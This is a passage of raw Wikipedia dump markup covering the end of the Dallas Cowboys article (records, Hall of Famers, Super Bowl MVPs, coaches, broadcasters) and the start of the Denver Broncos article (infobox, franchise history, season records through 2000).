Redskins would have advanced to the playoffs because of their two victories against Dallas. The Cowboys, knowing that they could not make the playoffs, went into Sunday night playing the [[St. Louis Rams]] on ESPN's last Sunday Night Football game. The Cowboys lost the game 20-10, and finished the season with a 9-7 record, and in 3rd place in the NFC East.

===Season-by-season records===
{{Start NFL SBS|#D6D6D6|#0D254C}}
|-
|1960 || 0 || 11 || 1 || 7th West || --
|-
|1961 || 4 || 9 || 1 || 6th East || --
|-
|1962 || 5 || 8 || 1 || 5th East || --
|-
|1963 || 4 || 10 || 0 || 5th East || --
|-
|1964 || 5 || 8 || 1 || 5th East || --
|-
|1965 || 7 || 7 || 0 || 2nd East || --
|-
|1966 || 10 || 3 || 1 || 1st East || Lost [[NFL Championship Game, 1966|NFL Championship Game]] ([[Green Bay Packers|Packers]])
|-
|1967 || 9 || 5 || 0 || 1st Capitol || Lost [[NFL playoffs, 1967|NFL Championship Game]] ([[Green Bay Packers|Packers]])
|-
|1968 || 12 || 2 || 0 || 1st Capitol || Lost [[NFL playoffs, 1968|Conference Playoff Game]] ([[Cleveland Browns|Browns]])
|-
|1969 || 11 || 2 || 1 || 1st Capitol || Lost [[NFL playoffs, 1969|Conference Playoff Game]] ([[Cleveland Browns|Browns]])
|-
|1970 || 10 || 4 || 0 || 1st NFC East || Lost [[Super Bowl V]] ([[Indianapolis Colts|Colts]])
|-
|1971 || 11 || 3 || 0 || 1st NFC East || '''Won [[Super Bowl VI]]'''
|-
|1972 || 10 || 4 || 0 || 2nd NFC East || Lost [[NFL playoffs, 1972-73|Conference Championship]] ([[Washington Redskins|Redskins]])
|-
|1973 || 10 || 4 || 0 || 1st NFC East || Lost [[NFL playoffs, 1973-74|Conference Championship]] ([[Minnesota Vikings|Vikings]])
|-
|1974 || 8 || 6 || 0 || 3rd NFC East || --
|-
|1975 || 10 || 4 || 0 || 2nd NFC East || Lost [[Super Bowl X]] ([[Pittsburgh Steelers|Steelers]])
|-
|1976 || 11 || 3 || 0 || 1st NFC East || Lost [[NFL playoffs, 1976-77|Divisional Playoffs]] ([[St. Louis Rams|Rams]])
|-
|1977 || 12 || 2 || 0 || 1st NFC East || '''Won [[Super Bowl XII]]'''
|-
|1978 || 12 || 4 || 0 || 1st NFC East || Lost [[Super Bowl XIII]] ([[Pittsburgh Steelers|Steelers]])
|-
|1979 || 11 || 5 || 0 || 1st NFC East || Lost [[NFL playoffs, 1979-80|Divisional Playoffs]] ([[St. Louis Rams|Rams]])
|-
|1980 || 12 || 4 || 0 || 2nd NFC East || Lost [[NFL playoffs, 1980-81|Conference Championship]] ([[Philadelphia Eagles|Eagles]])
|-
|1981 || 12 || 4 || 0 || 1st NFC East || Lost [[NFL playoffs, 1981-82|Conference Championship]] ([[San Francisco 49ers|49ers]])
|-
|1982 || 6 || 3 || 0 || 2nd NFC Conf. || Lost [[NFL playoffs, 1982-83|Conference Championship]] ([[Washington Redskins|Redskins]])
|-
|1983 || 12 || 4 || 0 || 2nd NFC East || Lost [[NFL playoffs, 1983-84|Wild Card Playoffs]] ([[St. Louis Rams|Rams]])
|-
|1984 || 9 || 7 || 0 || 4th NFC East || --
|-
|1985 || 10 || 6 || 0 || 1st NFC East || Lost [[NFL playoffs, 1985-86|Divisional Playoffs]] ([[St. Louis Rams|Rams]])
|-
|1986 || 7 || 9 || 0 || 3rd NFC East || --
|-
|1987 || 7 || 8 || 0 || 4th NFC East || --
|-
|1988 || 3 || 13 || 0 || 5th NFC East || --
|-
|1989 || 1 || 15 || 0 || 5th NFC East || --
|-
|1990 || 7 || 9 || 0 || 4th NFC East || --
|-
|1991 || 11 || 5 || 0 || 2nd NFC East || Lost [[NFL playoffs, 1991-92|Divisional Playoffs]] ([[Detroit Lions|Lions]])
|-
|1992 || 13 || 3 || 0 || 1st NFC East || '''Won [[Super Bowl XXVII]]'''
|-
|1993 || 12 || 4 || 0 || 1st NFC East || '''Won [[Super Bowl XXVIII]]'''
|-
|1994 || 12 || 4 || 0 || 1st NFC East || Lost [[NFL playoffs, 1994-95|Conference Championship]] ([[San Francisco 49ers|49ers]])
|-
|1995 || 12 || 4 || 0 || 1st NFC East || '''Won [[Super Bowl XXX]]'''
|-
|1996 || 10 || 6 || 0 || 1st NFC East || Lost [[NFL playoffs, 1996-97|Divisional Playoffs]] ([[Carolina Panthers|Panthers]])
|-
|1997 || 6 || 10 || 0 || 4th NFC East || --
|-
|1998 || 10 || 6 || 0 || 1st NFC East || Lost [[NFL playoffs, 1998-99|Wild Card Playoffs]] ([[Arizona Cardinals|Cardinals]])
|-
|1999 || 8 || 8 || 0 || 2nd NFC East || Lost [[NFL playoffs, 1999-2000|Wild Card Playoffs]] ([[Minnesota Vikings|Vikings]])
|-
|2000 || 5 || 11 || 0 || 4th NFC East || --
|-
|2001 || 5 || 11 || 0 || 5th NFC East || --
|-
|2002 || 5 || 11 || 0 || 4th NFC East || --
|-
|2003 || 10 || 6 || 0 || 2nd NFC East || Lost [[NFL playoffs, 2003-04|Wild Card Playoffs]] ([[Carolina Panthers|Panthers]])
|-
|2004 || 6 || 10 || 0 || 3rd NFC East || --
|-
|2005 || 9 || 7 || 0 || 3rd NFC East || --
{{end box}}
^At the end of the [[2005 NFL season]], the Cowboys All-Time Record is 424-314-6 (including playoffs).

==Players of note==
===Current players===
{{Dallas Cowboys roster}}

===[[Pro Football Hall of Fame]]rs===
&lt;div style=&quot;float:left; width:48%;&quot;&gt;
*[[Troy Aikman]] (QB 1989-2000)
*[[Tony Dorsett]] (RB 1977-87)
*[[Tom Landry]] (Head Coach 1960-88)
*[[Bob Lilly]] (DT 1961-74)
&lt;/div&gt;&lt;div style=&quot;float:right; width:48%;&quot;&gt;
*[[Mel Renfro]] (S/CB 1964-77)
*[[Tex Schramm]] (Pres/GM 1960-89)
*[[Roger Staubach]] (QB 1964-79)
*[[Randy White (football player)|Randy White]] (DT 1975-88)
*[[Rayfield Wright]] (OT 1967-1979)
&lt;/div&gt;&lt;br clear=&quot;all&quot;&gt;

Due to the rich history of the Cowboys from the 1960's, 1970's and 1990's, one would assume that the Cowboys would have a large number of inductees to the Pro Football Hall of Fame.  Unfortunately, however, they do not.  Many have raised strong arguments asking why many Cowboys legends have been snubbed by the Hall's induction committee, especially those who played during the decade of the 1970's.  On the Pro Football Hall of Fame's 1970's all-decade team (selected by the same group as the one charged with picking the inductees), there are six Dallas Cowboys ([[Drew Pearson (football player)|Drew Pearson]], Rayfield Wright, Roger Staubach, [[Harvey Martin]], Bob Lilly, and [[Cliff Harris]]) and eight Pittsburgh Steelers ([[Lynn Swann]], [[Mike Webster]], [[Terry Bradshaw]], [[Franco Harris]], [[LC Greenwood]], Mean [[Joe Greene]], [[Jack Ham]] and [[Jack Lambert]])*.  Of those, only three Cowboys have been inducted (Wright, Staubach and Lilly) versus seven Steelers (all but Greenwood).  Not including the two kickers and one punter on the team, the three Cowboys are among only eleven players on the forty-five man roster not in the Hall.  

The most notable among the three is Pearson, who has campaigned to raise awareness in NFL circles about the supposed Anti-Cowboys prejudice.  Perhaps the biggest case to be made for Pearson's induction is the 2001 induction of Pittsburgh's Swann, who played in the same era as Pearson at the same position (wide receiver).  He caught only 336 passes for 5,462 yards in his career to Pearson's 489 and 7,822, respectively.  Overall, the Cowboys have nine inducteed to the Hall**, which ties them for twelfth.  

However, those that would argue with the conspiracy theorists point out that many of the teams ahead of Dallas in number of inductees have been around much longer.  The top five teams (the [[Chicago Bears]], [[Green Bay Packers]], [[New York Giants]], [[Pittsburgh Steelers]] and [[Washington Redskins]], respectively) were all founded in 1933 or before.  The Cowboys were founded in 1960.  Others argue that the defensive players for the Cowboys in the 1970's operated under an ingenious system devised by Head Coach Tom Landry (see above) which inflated the public's perception of their supposed skill.  The debate over an anti-Cowboys bias still rages today:
http://www.detnews.com/apps/pbcs.dll/article?AID=/20060203/SPORTS08/602030433/1296
http://www.mysanantonio.com/sports/columnists/bharvey/stories/MYSA020406.1C.COL.FBNharvey.cowboys.21f0406f.html

(*)The NFL does not officially identify players with the team with whom they played most of their career.  All teams for whom a player played are recognized equally.

(**)Numbers do not include players who played a minority of their career with the Cowboys or other teams.  For example, Lance Alworth played for the San Diego Chargers from 1962-1970, and with the Cowboys from 1971-1972.  He is not included in the nine for the Cowboys, nor is Mike Ditka, who played for 8 years with the Bears and Eagles before ending his career with a four-year stint with the Cowboys.

===Super Bowl MVPs===
With the Dallas Cowboys holding the NFL record for the most Super Bowl appearances (8) and tied at 5 (with the 49ers and Steelers) for the most Super Bowl victories, it stands to reason that the team would at least be tied for the most [[Super Bowl MVP|Super Bowl Most Valuable Player Awards]]. They aren't...tied, that is. The team actually holds the record for the most SB MVP honors (7). 

* [[Chuck Howley]]'s performance as Dallas' linebacker in [[Super Bowl V]] earned him the honor, despite his team's loss to the [[Baltimore Colts]] in the big game. (As a linebacker, he was the first defensive player to win the award, which had been given to quarterbacks previously and his honor marks the only time in NFL history where a player from the losing team was chosen as MVP.)
* [[Roger Staubach]] became the fourth QB to earn MVP honors in Dallas' win over the [[Miami Dolphins]] in [[Super Bowl VI]].
* [[Super Bowl XII]] saw the first and only (through Super Bowl XL) tie as two Cowboys were chosen for MVP honors: DT [[Randy White]] and DE [[Harvey Martin]].
* [[Troy Aikman]] became the second Dallas QB to earn the MVP honor as he led the Cowboys back to victory in 1993 in [[Super Bowl XXVII]].
* Dallas earned its first back-to-back victory thanks in part to running back, and [[Super Bowl XXVIII]] MVP, [[Emmitt Smith]].
* Cornerback [[Larry Brown (cornerback)|Larry Brown]] returned with the championship Cowboys team to his third Super Bowl in just four years. His two key interceptions helped Dallas win [[Super Bowl XXX]] and earned him the first MVP award ever given to a cornerback.

===Retired numbers/[[Dallas Cowboys Ring of Honor|'''&quot;Ring of Honor&quot;''']]===
Unlike many NFL teams, the Cowboys do not retire jersey numbers of past standouts as a matter of policy. Instead, the team has a [[Dallas Cowboys Ring of Honor|'''&quot;Ring of Honor&quot;''']], which is on permanent display encircling the field at '''Texas Stadium''' in Irving.  The first inductee was [[Bob Lilly]] in 1975 and by 2005, the hallowed ring contained [[Dallas Cowboys Ring of Honor|'''17 names''']], all former Dallas players except for one head coach and one general manager/president.

The most recent inductees were: Aikman, Smith and Irvin, known as &quot;The Triplets&quot;. The Cowboys waited until Smith had retired as a player before inducting Aikman and Irvin, so all three could be inducted together, which occurred during half time at a [[Monday Night Football]] home game against the arch-rival [[Washington Redskins]] on [[September 19]], [[2005]] (Cowboys lost 14-13).

Although the team doesn't officially retire jersey numbers, in the 2005 season, the numbers of [[Dallas Cowboys Ring of Honor|'''&quot;Ring of Honor&quot;''']] inductees Aikman (8), Staubach (12), Meredith (17), Hayes and Smith (22), Perkins and Harris (43) and Lilly (74) were not being worn by any Cowboys player.

===Not to be forgotten===
The following is a list of players who also made valuable contributions to the Dallas Cowboys, but are not in either the Pro Football Hall of Fame or the Ring of Honor:

&lt;div style=&quot;float:left; width:48%;&quot;&gt;
*[[George Andrie]] (DE 1962-72)
*[[Bill Bates]] (S 1983-97)
*[[Larry Cole]] (DE 1968-80)
*[[Doug Cosbie]] (TE 1979-88)
*[[Michael Downs]] (DB 1981-88)
*[[Billy Joe Dupree]] (TE 1973-83)
*[[Dave Edwards]] (OLB 1963-75)
*[[Walt Garrison]] (FB 1966-74)
*[[Peter Gent]] (WR 1964-1968)
*[[La'Roi Glover]] (DT 2002-2005)
*[[Cornell Green]] (DB 1962-74)
*[[Charles Haley]] (DE 1992-96)
*[[Alvin Harper]] (WR 1991-94)
*[[Thomas &quot;Hollywood&quot; Henderson]] (LB 1975-79)
*[[Calvin Hill]]  (RB 1969-74)
*[[Tony Hill (American football)|Tony Hill]]  (WR 1977-86)
*[[Jim Jeffcoat]] (DE 1983-94)
*[[Daryl Johnston]] (FB 1989-99)
*[[Ed Jones (football player)|Ed &quot;Too Tall&quot; Jones]] (DE 1974-78, 1980-89)
*[[D.D. Lewis]] (LB 1968-81)
*[[Leon Lett]] (DL 1991-2000)
*[[Eugene Lockhart]] (LB 1984-90)
*[[Harvey Martin]] (DE 1973-83)

&lt;/div&gt;&lt;div style=&quot;float:right; width:48%;&quot;&gt;

*[[Russell Maryland]] (DT 1991-95)
*[[Robert Newhouse]] (RB 1972-83)
*[[Nate Newton]] (OL 1986-98)
*[[Dat Nguyen]] (LB 1999-2005)
*[[Jay Novacek]] (TE 1990-95)
*[[Ken Norton Jr.]] (LB 1988-93)
*[[Drew Pearson (football player)|Drew Pearson]] (WR 1973-1983)
*[[Jethro Pugh]] (DT 1965-78)
*[[Tom Rafferty]] (OL 1976-1990)
*[[Dan Reeves]] (FB 1965-72, asst coach/OC 1972,1974-81)
*[[Deion Sanders]] (CB 1995-1999)
*[[Herbert Scott]] (OL 1975-84)
*[[Kevin Smith]]  (DB 1992-1998)
*[[Mark Stepnoski]] (OL 1989-1994, 1999-2000)
*[[Jerry Tubbs]] (LB 1960-67; LB coach 1967-89)
*[[Mark Tuinei]] (OL 1983-97)
*[[Herschel Walker]] (RB 1986-89, 1996-7)
*[[Everson Walls]] (DB 1981-89)
*[[Charlie Waters]] (DB 1970-81)
*[[Danny White]] (P/QB 1976-88)
*[[Erik Williams]] (OT 1991-2000)
*[[Darren Woodson]] (DB 1992-2004)

&lt;/div&gt;&lt;br clear=&quot;all&quot;&gt;
&lt;p&gt;

==Head coaches==
The following table shows each coach's record while with the Cowboys. (Since some coached other NFL teams, their overall record may differ.)
{|
|1960-1988
|[[Tom Landry]]
|(270-178-6) Ranked 3rd All-Time (5 Super Bowl appearances, 2 victories) 20 Straight winning seasons.
|-
|1989-1993
|[[Jimmy Johnson (football coach)|Jimmy Johnson]]
|(51-37) (2 Super Bowl appearances, 2 victories)
|-
|1994-1997
|[[Barry Switzer]]
|(45-26) (1 Super Bowl appearance, 1 victory)
|-
|1998-1999
|[[Chan Gailey]]
|(18-14)
|-
|2000-2002
|[[Dave Campo]]
|(15-33)
|-
|2003-Present
|[[Bill Parcells]]
|(25-24)
|}

===Current Staff===
*General Manager - [[Jerry Jones]]
*Head Coach - [[Bill Parcells]]
*Offensive Coordinator - [[TBA]]
*Defensive Coordinator - [[Mike Zimmer]]
*Special Teams Coach - [[Bruce DeHaven]]
*Quarterbacks Coach - [[Chris Palmer (football coach)|Chris Palmer]]
*Running Backs Coach - [[TBA]]
*Wide Receivers Coach - [[Todd Haley]]
*Tight Ends Coach - [[Paul Pasqualoni]]
*Offensive Line Coach - [[TBA]]
*Offensive Assistant - [[TBA]]
*Defensive Line Coach - [[TBA]]
*Linebackers Coach - [[Joe Juraszek]]
*Defensive Backs Coach - [[TBA]]
*Defensive Assistant - [[TBA]]
*Strength and Conditioning - [[David Lee]]

==Broadcasters==
The Cowboys franchise has a rich history of producing well-known sportscasters over the years: the most famous of which is [[Verne Lundquist]], who served as voice of the Cowboys from 1972 until 1984.  [[Bill Mercer]] and [[Frank Glieber]] also were Cowboys announcers from the early days of the organization until Lundquist's arrival as a color analyst.  Verne's new analyst, [[Brad Sham]], joined him in 1977, became the new play-by-play announcer in 1984 and has been with the Cowboys ever since, except for a three-year hiatus between 1995 and 1998 (when [[Dave Garrett]] was the play-by-play announcer).  2005 will be Brad Sham's 26th year with the organization; 18 of those years as play-by-play announcer.  [[Babe Laufenberg]] is the color analyst, and [[Kristi Scales]] is the sideline reporter.

The Cowboys Radio Network for many years was on [[KRLD]]; today it is now on 98.7 KLUV.

Additionally, several former players and coaches for the Dallas Cowboys picked up the broadcast microphone:   
*[[Don Meredith]] - became a [[color commentator]] for [[American Broadcasting Company|ABC]]'s ''[[Monday Night Football]]'' beginning in 1970. For years, he was paired alongside [[Frank Gifford]] and [[Howard Cosell]]. Meredith retired from sportscasting after the 1984 season, one year after Cosell's retirement.   
*[[Drew Pearson (football player)|Drew Pearson]] - has worked exclusively as a [[sportscaster]] for such networks as [[CBS]] and [[HBO]] since his retirement in 1983. He currently hosts the KLUV Dallas Cowboys post-game show.
*[[Daryl Johnston]] - aka &quot;Moose&quot; is a color commentator for the [[NFL on Fox]] telecasts, teaming with [[Dick Stockton]] on the sidelines.
*[[Troy Aikman]] - joined Fox's [[National Football Conference|NFC]] telecasts as a color commentator for the 2001 season. A year later, he was named to the network's lead announcing crew, teaming with [[Joe Buck]] and [[Cris Collinsworth]]. Aikman received an [[Emmy Award]] nomination for his television work in 2004, and worked Fox's broadcast of [[Super Bowl XXXIX]] in January of 2005. Aikman also hosts a weekly sports radio show which airs on Thursday from 5 p.m.-6 p.m. ET on [[Sporting News Radio]].    
*[[Michael Irvin]] - co-hosted NBC Sports studio coverage of Arena Football League games in 2003. He now co-anchors the widely-viewed Sunday football pre-game show Sunday NFL Countdown and Monday Night Countdown on [[ESPN]].    
*[[Emmitt Smith]] - signed on to serve as a studio analyst on the [[NFL Network]] show, NFL Total Access in August 2005.   
*[[Deion Sanders]] - worked as a sports pre-game commentator for [[CBS Sports|CBS]]' ''[[The NFL Today]]'' after retiring from the NFL in 2001. He remained with CBS until 2004 when contract negotiations failed. Sanders frequently made guest appearances on [[ESPN]], especially on the [[ESPN Radio]] [[Dallas, Texas|Dallas]] affiliate, and briefly hosted a show called ''The New American Sportsman''. In 2004, he returned to professional football, playing for the [[Baltimore Ravens]].   
*[[Jimmy Johnson (football coach)|Jimmy Johnson]] - became a TV analyst for [[Fox Sports]] after retiring from coaching in 1999, and (as of 2005) he is part of their pregame show.   
*[[Butch Davis]] - after a stint as head coach of the [[Cleveland Browns]], the former Defensive Coordinator and coach of the Dallas Cowboys Defensive Line is seen on NFL Playbook, an [[NFL Network]] program.
*[[Darren Woodson]] - worked as a color analyst for two NFL Europe games in the summer of 2004, before signing on as an occasional studio analyst with [[ESPN]].

==See also==
*[[Dallas Cowboys Cheerleaders]]

==External links==
*[http://www.dallascowboys.com/ Dallas Cowboys - official web site]
*[http://www.dallascowboysfanclub.com/ Dallas Cowboys - independent fan club]
*[http://www.dallascowboyscentral.com/ Dallas Cowboys Central - Fan Forum]
*[http://www.bluestarboys.com/index.html Blue Star Boys - fansite]
*[http://www.dacowboys.com/ Da Cowboys - Dallas Cowboys News and Information]
*[http://www.sportsecyclopedia.com/nfl/dallas/cowboys.html Sports E-Cyclopdia.com]
{{NFL}}


[[Category:Dallas Cowboys| ]]
[[Category:1960 establishments]]
[[Category:National Football League teams]]

[[de:Dallas Cowboys]]
[[fr:Cowboys de Dallas]]
[[it:Dallas Cowboys]]
[[sv:Dallas Cowboys]]
[[zh:达拉斯牛仔]]</text>
    </revision>
  </page>
  <page>
    <title>Denver Broncos</title>
    <id>8122</id>
    <revision>
      <id>41417403</id>
      <timestamp>2006-02-27T04:34:23Z</timestamp>
      <contributor>
        <username>Ralph McDonald</username>
        <id>283134</id>
      </contributor>
      <comment>/* Not to be forgotten */</comment>
      <text xml:space="preserve">{{NFL team | name = Denver Broncos
| logo = DenverBroncos_100.png
| founded = 1960
| city = Denver, Colorado
| colors = Broncos Navy Blue, Orange, and White
| coach = [[Mike Shanahan]]
| owner = [[Pat Bowlen]]
| general manager = [[Ted Sundquist]]
| mascot = Miles
| stations = KOA (850 AM)-English and KBNO (1280 AM)-Spanish
| announcers = David Diaz-Infante and Dave Logan-English; Luke Sandoval and Fernando Sergio-Spanish
| hist_yr = 1960
| affiliate_old =
[[American Football League]] (1960-1969)
*Western Division (1960-1969)
| NFL_start_yr = 1970
| division_hist =
*'''[[American Football Conference]] (1970-present)'''
**'''[[AFC West]] (1970-present)'''
| no_league_champs = 2
| no_sb_champs = 2
| no_conf_champs = 6
| no_div_champs = 10
| sb_champs = 1997&amp;nbsp;([[Super Bowl XXXII|XXXII]]), 1998&amp;nbsp;([[Super Bowl XXXIII|XXXIII]])
| conf_champs =
*'''AFC:''' 1977, 1986, 1987, 1989, 1997, 1998
| div_champs =
*'''AFC West:''' 1977, 1978, 1984, 1986, 1987, 1989, 1991, 1996, 1998, 2005
| stadium_years =
*[[Mile High Stadium]] (1960-2000)
*'''[[INVESCO Field at Mile High]] (2001-present)'''
}}

The '''Denver Broncos''' are a professional [[American football]] team based in [[Denver, Colorado|Denver]], [[Colorado]]. They currently belong to the [[AFC West|Western Division]] of the [[American Football Conference]] (AFC) in the [[National Football League]] (NFL). The Broncos began play in 1960 as a charter member of the [[American Football League]] and joined the NFL as part of the [[AFL-NFL Merger]].

The Denver Broncos were a small-market team that met with little success in their early years but have since become one of the elite franchises of the league after having advanced to the [[Super Bowl]] six times. In their first four appearances, they suffered successively lopsided defeats, achieving near-legendary status as frustrated losers before winning back-to-back [[Super Bowl]] championships in 1998 and 1999 under [[quarterback]] [[John Elway]], running back [[Terrell Davis]] and coach [[Mike Shanahan]].

For most of their history they played in [[Mile High Stadium]], which became one of the shrines of professional football for its record unbroken string of sell-outs and its legendary home-field advantage (often regarded as the best in the NFL) for the Broncos, especially during the post-season. [[Mile High Stadium]] was one of the NFL's loudest stadiums, with [[steel]] flooring instead of [[concrete]], which may have given the Broncos an advantage over opponents. Since 2001, they have played at [[INVESCO Field at Mile High]], built next to the former site of Mile High Stadium.

:'''Uniform colors:'''  &quot;Broncos Navy Blue&quot;, Orange and White
:'''Helmet design:'''  Navy Blue background with a white horse-head profile.


==Franchise history==
[[Image:DenverBroncosOld.png|left|framed|Broncos logo (1968-1996)]]
Although the [[Denver Broncos]]' 39-97-4 record was the worst of any of the original eight [[American Football League]] teams, the franchise had many proud moments and several AFL superstars, including [[Lionel Taylor]] and [[Floyd Little]]. The Broncos won the first-ever American Football League game over the [[New England Patriots|Boston Patriots]], 13-10, on [[September 9]], [[1960]]. They were the first AFL team ever to defeat an [[NFL]] team, on [[August 5]], [[1967]] when they beat the [[Detroit Lions]] 13-7. Despite their relative lack of early success, the Broncos produced some memorable games, like the 38-38 tie against the [[Buffalo Bills]] in [[1960]].

Denver has reached the [[Super Bowl]] six times, winning it in the [[1997]] and [[1998]] seasons. It is odd to remember a time, then, when Denver was the lowliest of teams, managing its first winning season in [[1973]] after thirteen years of futility. Denver, in fact, came close to losing its franchise in [[1965]], but a local ownership group took control that year and began to build the team.

In [[1967]], under head coach [[Lou Saban]], Denver took the field with almost two dozen rookies on its roster; though Saban's tenure was unsuccessful, it set the stage for later successes. In [[1973]], [[John Ralston]] coached the now-mature Broncos to a 7-5-2 record, including a dramatic tie with [[Oakland Raiders|Oakland]] in Denver's first-ever ''[[Monday Night Football]]'' appearance that is still remembered as a pivotal game in Broncos history.  Ralston coached the team until [[1976]], when well-publicized clashes between Ralston and his players led to Ralston's removal.

Rookie coach [[Red Miller]], along with the [[Orange Crush Defense]] and aging quarterback [[Craig Morton]], promptly took Denver to its first playoff appearance &amp;ndash; and, ultimately first [[Super Bowl]] &amp;ndash; in [[1977]], where they were defeated by the [[Dallas Cowboys]], 27-10. Prior to [[1977 NFL season|1977 season]], Denver had received very little national attention and was rarely featured on nationally-televised games.

[[Quarterback]] [[John Elway]] arrived in [[1983]]. Originally drafted by the [[Baltimore Colts]] as the #1 pick of the draft, Elway proclaimed that he would shun football in favor of [[baseball]] (he was drafted by the [[New York Yankees]] to play centerfield) unless he was traded to a selected list of other teams, which included Denver. Prior to Elway, Denver had had over 24 different starting quarterbacks in its 23 seasons to that point. Elway would remain the quarterback through five Super Bowls, three under head coach [[Dan Reeves]] and two under [[Mike Shanahan]], and would end his career as the MVP of [[Super Bowl XXXIII]], his last NFL game. The Broncos would lose [[Super Bowl XXI]] to the [[New York Giants]] 39-20, [[Super Bowl XXII]] to the [[Washington Redskins]] 42-10 and [[Super Bowl XXIV]] to the [[San Francisco 49ers]] 55-10, the most lopsided Super Bowl in history.  

In 1995, the Broncos debuted rookie running back sensation [[Terrell Davis]], who, in 1997 would finally lead the Broncos to their first Super Bowl victory, in [[Super Bowl XXXII]], over the [[Green Bay Packers]] 31-24.  Although Elway was unable to complete more than 11 of his 22 passing attempts, throwing one interception and no touchdowns, Terrell Davis was able to overcome a severe migraine headache that caused him blurred vision and rush for 157 yards and three touchdowns to earn MVP honors.

The Broncos repeated the following year, defeating the [[Atlanta Falcons]] 34-19 to win [[Super Bowl XXXIII]].  Since the Elway's retirement following the 1998 season, Denver has only had one losing season ([[1999]]) and has made the playoffs as a wild card three times (in [[2000]], [[2003]] and [[2004]]), and as a division champion once ([[2005]]). However, they have won only one playoff game since Elway's retirement.  Prior to the 2005 season, the Broncos were plagued by early season success followed by late season flops. In both [[2003]] and [[2004]] they started the season 5-1 and ended 10-6.  In [[2005]], the Broncos would finally win a playoff game without Elway, defeating the defending Super Bowl champion [[New England Patriots]], ending the Patriots 10 game playoff winning streak.  Unfortunately, the following weekend, the hosting Broncos' were defeated at home by the visiting Pittsburgh Steelers in the AFC Championship by a score of 34-17.

Since the Shanahan era began, the Broncos have been known for having high-yardage running backs. ''Tuesday Morning Quarterback'' writer [[Gregg Easterbrook]] once mused that Denver’s helmets should have a label that says &quot;Insert running back, gain 1,000 yards.&quot; To wit: [[Terrell Davis]], [[Olandis Gary]], [[Mike Anderson]], [[Clinton Portis]], and, [[Reuben Droughns]] have all posted 1000-yard rushing seasons in Denver, with Davis shattering the 2,000 yard barrier in [[1998]]. In [[2005]], [[Mike Anderson]] rushed for more than 1,000 yards for the first time in five seasons. Anderson's backfield mate, [[Tatum Bell]], fell 79 yards short of 1,000 with 921. That would have made them the first two running backs in over 20 years to break 1,000 yards in a single season on the same team.

So the debate rages on: is it Denver's system, or their running backs, that are responsible for the huge numbers year-in and year-out? [http://www.footballoutsiders.com/ Football Outsiders] did a study to determine just that, and found some evidence that Denver's system of [[zone-blocking]] did aid running backs, and that most rushers who succeed in Denver will have a drop-off elsewhere. The study can be found [http://www.footballoutsiders.com/ramblings.php?p=2484&amp;cat=1 here].  It must be noted that both Droughns and Portis have had great success with their new teams after leaving the Broncos.

==2005 Season==
{{see|2005 Denver Broncos}}

==Season-by-season records==
{{Start NFL SBS}}
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Denver Broncos (AFL)'''
|-
|1960 || 4 || 9 || 1 || 4th West (AFL) || --
|-
|1961 || 3 || 11 || 0 || 3rd West (AFL) || --
|-
|1962 || 7 || 7 || 0 || 2nd West (AFL) || --
|-
|1963 || 2 || 11 || 1 || 4th West (AFL) || --
|-
|1964 || 2 || 11 || 1 || 4th West (AFL) || --
|-
|1965 || 4 || 10 || 0 || 4th West (AFL) || --
|-
|1966 || 4 || 10 || 0 || 4th West (AFL) || --
|-
|1967 || 3 || 11 || 0 || 4th West (AFL) || --
|-
|1968 || 5 || 9 || 0 || 4th West (AFL) || --
|-
|1969 || 5 || 8 || 1 || 4th West (AFL) || --
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Merged into NFL'''
|-
|1970 || 5 || 8 || 1 || 4th AFC West || --
|-
|1971 || 4 || 9 || 1 || 4th AFC West || --
|-
|1972 || 5 || 9 || 0 || 3rd AFC West || --
|-
|1973 || 7 || 5 || 2 || 2nd AFC West || --
|-
|1974 || 7 || 6 || 1 || 2nd AFC West || --
|-
|1975 || 6 || 8 || 0 || 2nd AFC West || --
|-
|1976 || 9 || 5 || 0 || 2nd AFC West || --
|-
|1977 || 12 || 2 || 0 || 1st AFC West || Lost [[Super Bowl XII]] ([[Dallas Cowboys|Cowboys]])
|-
|1978 || 10 || 6 || 0 || 1st AFC West || Lost [[NFL playoffs, 1978-79|Divisional Playoffs]] ([[Pittsburgh Steelers|Steelers]])
|-
|1979 || 10 || 6 || 0 || 2nd AFC West || Lost [[NFL playoffs, 1979-80|Wild Card Playoffs]] ([[Tennessee Titans|Oilers]])
|-
|1980 || 8 || 8 || 0 || 4th AFC West || --
|-
|1981 || 10 || 6 || 0 || 2nd AFC West || --
|-
|1982 || 2 || 7 || 0 || 12th AFC Conf. || --
|-
|1983 || 9 || 7 || 0 || 3rd AFC West || Lost [[NFL playoffs, 1983-84|Wild Card Playoffs]] ([[Seattle Seahawks|Seahawks]])
|-
|1984 || 13 || 3 || 0 || 1st AFC West || Lost [[NFL playoffs, 1984-85|Divisional Playoffs]] ([[Pittsburgh Steelers|Steelers]])
|-
|1985 || 11 || 5 || 0 || 2nd AFC West || --
|-
|[[1986 Denver Broncos|1986]] || 11 || 5 || 0 || 1st AFC West || Lost [[Super Bowl XXI]] ([[New York Giants|Giants]])
|-
|1987 || 10 || 4 || 1 || 1st AFC West || Lost [[Super Bowl XXII]] ([[Washington Redskins|Redskins]])
|-
|1988 || 8 || 8 || 0 || 2nd AFC West || --
|-
|1989 || 11 || 5 || 0 || 1st AFC West || Lost [[Super Bowl XXIV]] ([[San Francisco 49ers|49ers]])
|-
|1990 || 5 || 11 || 0 || 5th AFC West || --
|-
|1991 || 12 || 4 || 0 || 1st AFC West || Lost [[NFL playoffs, 1991-92|Conference Championship]] ([[Buffalo Bills|Bills]])
|-
|1992 || 8 || 8 || 0 || 3rd AFC West || --
|-
|1993 || 9 || 7 || 0 || 3rd AFC West || Lost [[NFL playoffs, 1993-94|Wild Card Playoffs]] ([[Los Angeles Raiders|Raiders]])
|-
|1994 || 7 || 9 || 0 || 4th AFC West || --
|-
|1995 || 8 || 8 || 0 || 4th AFC West || --
|-
|1996 || 13 || 3 || 0 || 1st AFC West || Lost [[NFL playoffs, 1996-97|Divisional Playoffs]] ([[Jacksonville Jaguars|Jaguars]])
|-
|[[1997 Denver Broncos|1997]] || 12 || 4 || 0 || 2nd AFC West || '''Won [[Super Bowl XXXII]]'''
|-
|[[1998 Denver Broncos|1998]] || 14 || 2 || 0 || 1st AFC West || '''Won [[Super Bowl XXXIII]]'''
|-
|1999 || 6 || 10 || 0 || 5th AFC West || --
|-
|2000 || 11 || 5 || 0 || 2nd AFC West || Lost [[NFL playoffs, 2000-01|Wild Card Playoffs]] ([[Baltimore Ravens|Ravens]])
|-
